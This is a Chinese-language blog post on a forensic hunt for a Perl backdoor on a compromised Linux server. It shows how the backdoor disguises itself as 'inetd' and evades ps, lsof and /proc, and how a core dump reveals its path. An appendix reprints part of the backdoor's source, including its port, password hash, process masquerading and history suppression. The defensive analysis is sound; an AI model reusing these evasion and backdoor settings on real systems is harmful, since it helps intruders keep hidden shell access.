快捷搜索:   nginx

一段对perl木马的分析

一个朋友的服务器出现了一个莫名其妙的inetd 进程,开了 21000 端口,怀疑被入侵。登陆上去简单检查了一下,发现骇客不留神把后门的一个副本,遗留在临时目录下。经过检查是个用 perl 脚本写的后门。叫 Telnet-like Standard Daemon。后门找到了,入侵事件也基本被定性。
1. 目前主机上还运行着该后门,很有可能黑客已经通过编写启动脚本,将后门加入了随机启动。
2. 该主机存储了大量文件,同时容量很大,普通的find 和grep 命令很难在短时间内完成检索
3. 为了保证性能,主机没有启动locate 服务
4. 该主机是一台redhat 主机,但是redhat 只能检查启动脚本一部分文件的完整性。

rpm -qV initscripts
rpm -qf /etc/init.d

经过检查没有发现改动。
5. 整个主机关键目录没有做完整性校验工作。

一切似乎清晰明了,我们下一步就是找出进程中木马的位置,将其处理。但是在定位木马路径时却出现很大的困难。

分析过程
将代码下载到实验机上分析。

启动后门程序

debian:/# perl /tmp/coolc.pl

debian:/# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:09 ? 00:00:02 init [2]
root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 13:09 ? 00:00:17 [events/0]
root 4 3 0 13:09 ? 00:00:00 [khelper]
root 5 3 0 13:09 ? 00:00:00 [kacpid]
root 38 3 0 13:09 ? 00:00:00 [kblockd/0]
root 48 3 0 13:09 ? 00:00:00 [pdflush]
root 49 3 0 13:09 ? 00:00:01 [pdflush]
root 51 3 0 13:09 ? 00:00:00 [aio/0]
root 50 1 0 13:09 ? 00:00:00 [kswapd0]
root 193 1 0 13:09 ? 00:00:00 [kseriod]
root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]
root 221 1 0 13:09 ? 00:00:00 [khubd]
root 299 1 0 13:09 ? 00:00:01 [kjournald]
root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]
root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]
root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd
root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd
Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m
root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd
root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr
--datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd
daemon 2204 1 0 13:11 ? 00:00:00 /usr/sbin/atd
root 2207 1 0 13:11 ? 00:00:00 /usr/sbin/cron
root 2214 1 0 13:11 ? 00:00:05 /usr/sbin/apache
root 2230 1 0 13:11 tty1 00:00:16 -bash
root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3
root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4
root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5
root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6
www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2338 1 0 13:18 tty2 00:00:05 -bash
root 2381 2165 0 13:29 ? 00:00:15 sshd: root@pts/0,pts/1
root 2384 2381 0 13:29 pts/0 00:00:02 -bash
root 2401 2381 0 13:30 pts/1 00:00:00 -bash
root 2812 1 2 18:04 pts/0 00:00:00 inetd
root 2813 2384 0 18:04 pts/0 00:00:00 ps -ef

通过top 检查

#top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2812 root 15 0 5928 4184 3064 S 0.0 2.2 0:00.09 perl

显示成perl 进程

通过lsof 检查

debian:/# lsof |grep 2812
apache 2214 root txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2276 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2277 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2278 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2279 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2290 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
perl 2812 root cwd DIR 8,1 4096 2 /
perl 2812 root rtd DIR 8,1 4096 2 /
perl 2812 root txt REG 8,1 1057324 19396 /usr/bin/perl
perl 2812 root mem REG 8,1 90248 325777 /lib/ld-2.3.2.so
perl 2812 root mem REG 8,1 9872 325808 /lib/tls/libdl-2.3.2.so
perl 2812 root mem REG 8,1 134496 325809 /lib/tls/libm-2.3.2.so
perl 2812 root mem REG 8,1 78233 325819 /lib/tls/libpthread-0.60.so
perl 2812 root mem REG 8,1 1254468 325806 /lib/tls/libc-2.3.2.so
perl 2812 root mem REG 8,1 18876 325807 /lib/tls/libcrypt-2.3.2.so
perl 2812 root mem REG 8,1 290576 33562 /usr/lib/locale/locale-archive
perl 2812 root mem REG 8,1 17920 19420 /usr/lib/perl/5.8.4/auto/IO/IO.so
perl 2812 root mem REG 8,1 22352 19426 /usr/lib/perl/5.8.4/auto/Socket/Socket.so
perl 2812 root mem REG 8,1 114896 19423 /usr/lib/perl/5.8.4/auto/POSIX/POSIX.so
perl 2812 root mem REG 8,1 34748 325814 /lib/tls/libnss_files-2.3.2.so
perl 2812 root 0u CHR 136,0 2 /dev/pts/0
perl 2812 root 1u CHR 136,0 2 /dev/pts/0
perl 2812 root 2u CHR 136,0 2 /dev/pts/0
perl 2812 root 3u IPv4 6116 TCP *:3847 (LISTEN)

通过/proc 检查

debian:/proc/2812# ls -al
total 0
dr-xr-xr-x 3 root root 0 2005-09-17 18:04 .
dr-xr-xr-x 68 root root 0 2005-09-17 13:09 ..
dr-xr-xr-x 2 root root 0 2005-09-17 18:06 attr
-r-------- 1 root root 0 2005-09-17 18:06 auxv
-r--r--r-- 1 root root 0 2005-09-17 18:04 cmdline
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 cwd -> /
-r-------- 1 root root 0 2005-09-17 18:06 environ
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 exe -> /usr/bin/perl
dr-x------ 2 root root 0 2005-09-17 18:04 fd
-r--r--r-- 1 root root 0 2005-09-17 18:05 maps
-rw------- 1 root root 0 2005-09-17 18:06 mem
-r--r--r-- 1 root root 0 2005-09-17 18:06 mounts
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 root -> /
-r--r--r-- 1 root root 0 2005-09-17 18:04 stat
-r--r--r-- 1 root root 0 2005-09-17 18:05 statm
-r--r--r-- 1 root root 0 2005-09-17 18:04 status
dr-xr-xr-x 3 root root 0 2005-09-17 18:06 task
-r--r--r-- 1 root root 0 2005-09-17 18:06 wchan

debian:/proc/2812/fd# ls -al
total 4
dr-x------ 2 root root 0 2005-09-17 18:04 .
dr-xr-xr-x 3 root root 0 2005-09-17 18:04 ..
lrwx------ 1 root root 64 2005-09-17 18:05 0 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:05 1 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:04 2 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:05 3 -> socket:[6116]

此处注意,如果黑客用./coolc.pl 启动后门,在这里就会被显露出来。但是这里我比较狡猾的利用perl 去解释该脚本,因此此处只能显露出socket 了。

难点
常规检查top lsof proc 检查,得到的信息完全无法让我们定位此木马的位置,那么对方是通过什么手段来进行隐藏的呢?
检查了一下代码,它的技巧主要是在于如下两个地方:
1、“$0”被设置为一个虚假的名称:
my $PROC = "inetd"; # name of the process
......
$0=$PROC."\0";
因此在进程中看到进程名是 inetd
2、因为是 perl 脚本后门,他进行了chdir,因此在 proc 里面看到的是 perl 的信息。
$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');
no strict 'refs';
my $bindfd = *{'bind_sock'};
......
这段代码导致proc 里其路径变为了/,而非程序存在路径。如此看来,整个检查工作在这一步进一步陷入僵局。
前期背景交代中已经阐明,由于服务器文件众多,不易进行诸如find ,grep 等查找。但目前这个后门可能被写在其他脚本中,通过调用关系启动。需要及早查出。
本来通过常规方法,通过进程与文件的关联,使用诸如lsof 等工具软件是可以查出的。但此类工具都是通过proc 的访问来获取文件的,但是目前proc 信息被重写,似乎一切都被擦除的没有了踪迹。

Core_dump 的尝试
采用coredump 思路是这样产生的,目前文件系统,proc 在我们基本确认没有希望获取信息的时候,大多数工具进行检查的意义也不大了。同时由于是PERL 脚本,很多信息只会
表现为perl 进程的信息。
但是也许在一个地方还有我们需要的信息,那就是该进程的内存中残存的信息。而linux 本身提供CORE DUMP 机制,可以让我们通过DUMP 后门进程中的数据,来获取数据。那么下面在我的实验环境中来操作一下我们的思路,看看上述方法是否可行。

检查core dump 环境设置

debian:~# ulimit -a
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
file size (blocks, -f) unlimited
max locked memory (kbytes, -l) unlimited
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) unlimited
virtual memory (kbytes, -v) unlimited

启动perl 木马

debian:/# mkdir /tmp/.coolc
debian:/# cp /root/1.pl /tmp/.coolc/coolc.pl
debian:/# perl /tmp/.coolc/coolc.pl

经过检查,后门正常启动。

debian:/# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:09 ? 00:00:00 init [2]
root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 13:09 ? 00:00:13 [events/0]
root 4 3 0 13:09 ? 00:00:00 [khelper]
root 5 3 0 13:09 ? 00:00:00 [kacpid]
root 38 3 0 13:09 ? 00:00:00 [kblockd/0]
root 48 3 0 13:09 ? 00:00:00 [pdflush]
root 49 3 0 13:09 ? 00:00:00 [pdflush]
root 51 3 0 13:09 ? 00:00:00 [aio/0]
root 50 1 0 13:09 ? 00:00:00 [kswapd0]
root 193 1 0 13:09 ? 00:00:00 [kseriod]
root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]
root 221 1 0 13:09 ? 00:00:00 [khubd]
root 299 1 0 13:09 ? 00:00:00 [kjournald]
root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]
root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]
root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd
root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd
Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m
root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd
root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd
daemon 2204 1 0 13:10 ? 00:00:00 /usr/sbin/atd
root 2207 1 0 13:10 ? 00:00:00 /usr/sbin/cron
root 2214 1 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2230 1 0 13:11 tty1 00:00:16 -bash
root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3
root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4
root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5
root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6
www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2338 1 0 13:18 tty2 00:00:05 -bash
root 2381 2165 0 13:29 ? 00:00:09 sshd: root@pts/0,pts/1
root 2384 2381 0 13:29 pts/0 00:00:00 -bash
root 2401 2381 0 13:30 pts/1 00:00:00 -bash
root 2545 1 1 13:59 pts/0 00:00:00 inetd
root 2546 2384 0 13:59 pts/0 00:00:00 ps -ef

发送信号SIGSEGV 来DUMP 出我们需要的信息。

debian:/# ps –ef
debian:/# kill -SIGSEGV 2545

通过string 来获取字符串。

debian:/#stings core.2545
......
INADDR_LOOPBACK
SelectSaver.pm
croak
carp
Exporter
BEGIN
main
/tmp/.coolc/coolc.pl
import
/tmp/.coolc/coolc.pl
Main
......
找到了 :)

总结

经过多次检查,发现在string 出来的字符串中,在出现perl 路径等信息后,木马加密的字符串之前的内容就是后门路径,通过此方法可以很精确的定位后门位置。很明显这是脚本初始化时保留的信息。

......
/etc/perl
/usr/lib/perl/5.8
/usr/local/lib/perl/5.8.4
/usr/local/share/perl/5.8.4
/usr/lib/perl5
/usr/share/perl5
/usr/share/perl/5.8
/usr/local/lib/site_perl
nux-
/tmp/coolc.pl
/tmp/coolc.pl
ouhEUhhJ6RbwE
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
......

本次检查开阔了我的眼界,在解释器中的后门定位问题远比我想象的要难,因为大量的细节被封装在了解释器内部。在安全检查时,一个精巧的技巧将会使检查人员陷入尴尬的境地,因此我们需要不断的加强深度广度的拓展,一个安全人员的知识覆盖面和对系统的熟悉程度,往往最终决定了你安全检查的成败。
这里特别感谢raymond aa coolq 和我的讨论和技术上的帮助。

附录
木马源码

#!/usr/bin/perl
# Telnet-like Standard Daemon 0.7
#
# 0ldW0lf - oldwolf@atrixteam.net
# - old-wolf@zipmai.com
# - www.atrix.cjb.net
# - www.atrixteam.net
#
# For those guys that still like to open ports
# and use non-rooted boxes
#
# This has been developed to join in the TocToc
# project code, now it's done and I'm distributing
# this separated
#
# This one i made without IO::Pty so it uses
# only standard modules... enjoy it
#
# tested on linux boxes.. probably will work fine on others
# any problem... #atrix@irc.brasnet.org
#

##########################################################
# ******************* CONFIGURATION ******************** #
##########################################################
my $PORT = $ARGV[0] || 3847; # default port is 3847
my $PASS = 'ouhEUhhJ6RbwE'; # encripted password
my $SHELL = "/bin/bash"; # shell to be executed
my $HOME = "/tmp"; # your HOME
my $PROC = "inetd"; # name of the process
my $PASS_PROMPT = "Password: "; # password prompt
my $WRONG_PASS = "Password Errata!"; # "wrong password" message
my @STTY = ('sane', 'dec'); # stty arguments
##########################################################

# feel free to change the ENV
#### ENVironment ####
$ENV{HOME} = $HOME;
#$ENV{PS1} = '[\u@\h \W]: '; # the way i like :)
# colorful PS1 is also funny :)
$ENV{PS1} = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';
$ENV{MAIL} = '/var/mail/root';
$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';
$ENV{HISTFILE} = '/dev/null';
$ENV{USER} = 'root';
$ENV{LOGNAME} = 'root';
$ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
$ENV{LS_COLORS} = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*

.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.

zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*

.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*

.mov=01;37:';

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论